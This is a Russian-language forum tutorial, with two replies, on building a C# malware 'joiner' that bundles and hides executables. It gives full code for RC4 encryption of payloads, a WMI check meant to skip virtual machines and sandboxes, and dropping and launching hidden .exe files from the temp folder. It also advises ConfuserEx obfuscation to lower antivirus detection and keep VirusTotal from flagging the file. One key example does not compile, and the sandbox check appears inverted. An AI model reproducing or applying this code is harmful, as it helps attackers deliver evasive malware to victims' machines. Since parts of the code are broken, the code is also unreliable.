и так всем привет решил я создать снова Джойнер только лучшее под прошлой темой с кустарным джойнером ребята писали что надо делать шифрование без лишних using и я рыская в инете альтернативу aes256 шифрованию (которую я использовал в прошлой теме), наткнулся на шифрования rc4 так вот начало создаем консольный проект netframework 4 называем его Joiner и пишем этот код в главный класс Program public static bool isVM_by_wim_temper() { SelectQuery selectQuery = new SelectQuery("Select * from Win32_CacheMemory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); int i = 0; foreach (ManagementObject DeviceID in searcher.Get()) i++; return (i == 0); } private static byte[] Apply(byte[] data, byte[] key) { int[] lasasw = new int[256]; for (int _ = 0; _ < 256; _++) { lasasw[_] = _; } int[] easswxs = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, easswxs, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { easswxs[_] = key[_ % key.Length]; } } int DAS = 0; int eass = 0; for (DAS = 0; DAS < 256; DAS++) { eass = (eass + lasasw[DAS] + easswxs[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; } DAS = eass = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { DAS = (DAS + 1) % 256; eass = (eass + lasasw[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; int SFdsfs = lasasw[(lasasw[DAS] + lasasw[eass]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ SFdsfs); } return result; } public static string Drop(byte[] bytse) { string path = Path.GetTempFileName()+".exe"; File.WriteAllBytes(path, bytse); return path; } Code public static bool isVM_by_wim_temper() { SelectQuery selectQuery = new SelectQuery("Select * from Win32_CacheMemory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); int i = 0; foreach (ManagementObject DeviceID in searcher.Get()) i++; return (i == 0); } private static byte[] Apply(byte[] data, byte[] key) { int[] lasasw = new int[256]; for (int _ = 0; _ < 256; _++) { lasasw[_] = _; } int[] easswxs = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, easswxs, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { easswxs[_] = key[_ % key.Length]; } } int DAS = 0; int eass = 0; for (DAS = 0; DAS < 256; DAS++) { eass = (eass + lasasw[DAS] + easswxs[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; } DAS = eass = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { DAS = (DAS + 1) % 256; eass = (eass + lasasw[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; int SFdsfs = lasasw[(lasasw[DAS] + lasasw[eass]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ SFdsfs); } return result; } public static string Drop(byte[] bytse) { string path = Path.GetTempFileName()+".exe"; File.WriteAllBytes(path, bytse); return path; } теперь мы делаем свой ключ делаем его любой вот примеры byte[] key = {0,2,43,53,23,4,0}; byte[] key = {0,63,57,23,1}; byte[] key = {0,2,43,,23,1,53,23,4,0,23,1}; Code byte[] key = {0,2,43,53,23,4,0}; byte[] key = {0,63,57,23,1}; byte[] key = {0,2,43,,23,1,53,23,4,0,23,1}; затем жмем на проект добавить и создаем так же проект и называем Cripter private static byte[] Apply(byte[] data, byte[] key) { int[] lasasw = new int[256]; for (int _ = 0; _ < 256; _++) { lasasw[_] = _; } int[] easswxs = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, easswxs, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { easswxs[_] = key[_ % key.Length]; } } int DAS = 0; int eass = 0; for (DAS = 0; DAS < 256; DAS++) { eass = (eass + lasasw[DAS] + easswxs[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; } DAS = eass = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { DAS = (DAS + 1) % 256; eass = (eass + lasasw[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; int SFdsfs = lasasw[(lasasw[DAS] + lasasw[eass]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ SFdsfs); } return result; } static void Main(string[] args) { byte[] key; //сдесь должен быть ваш ключ string path = Console.ReadLine().Replace("\"", ""); File.WriteAllBytes(path+"ar4", Apply(File.ReadAllBytes(path),key)); } Code private static byte[] Apply(byte[] data, byte[] key) { int[] lasasw = new int[256]; for (int _ = 0; _ < 256; _++) { lasasw[_] = _; } int[] easswxs = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, easswxs, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { easswxs[_] = key[_ % key.Length]; } } int DAS = 0; int eass = 0; for (DAS = 0; DAS < 256; DAS++) { eass = (eass + lasasw[DAS] + easswxs[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; } DAS = eass = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { DAS = (DAS + 1) % 256; eass = (eass + lasasw[DAS]) % 256; int temp = lasasw[DAS]; lasasw[DAS] = lasasw[eass]; lasasw[eass] = temp; int SFdsfs = lasasw[(lasasw[DAS] + lasasw[eass]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ SFdsfs); } return result; } static void Main(string[] args) { byte[] key; //сдесь должен быть ваш ключ string path = Console.ReadLine().Replace("\"", ""); File.WriteAllBytes(path+"ar4", Apply(File.ReadAllBytes(path),key)); } затем мы можем его компилировать и просто переносим файл exe на консоль и нажимаем Enter затем мы создаем файл ресурсов в проекте Joiner и перетаскиваем тот файл который выдал Cripter затем в метод Main проекта Joiner мы ставим if(isVM_by_wim_temper()){ Process.Start(Drop(Resource1.ИмяВашегоФайлика)); Process.Start(Drop(Resource1.ИмяВашегоВторогоФайлика)); } Code if(isVM_by_wim_temper()){ Process.Start(Drop(Resource1.ИмяВашегоФайлика)); Process.Start(Drop(Resource1.ИмяВашегоВторогоФайлика)); } потом заходим с свойства и проект Joiner ставим как приложение а не консоль и чтобы уменьшить детекты скачиваем программу ConfuserEx и пихаем туда в настройках ставим ctrl flow и rename и все файл на выходе уже будет вашей склейкой которая к тому же не будет запускаться на песочницах (это чтобы вирус тотал не сливал) так же в свойствах можно добавить Icon
Fesenko, в C# достаточно опп код на много легче и понятней, а код на шарпе стал писать иза того что на нем проще писать малваре, когда я пытался писать малварь на плюсах я хотел сделать копирование своего файла по папкам (без System("copy")), я даже не смог получить место нахождение своего файла и забил на плюсы.
Dead__Artis, Плюсы такие чувствительные правда,недавно писал одну хуйню,столько нервов потратил и сил,но итог можно сказать никакой.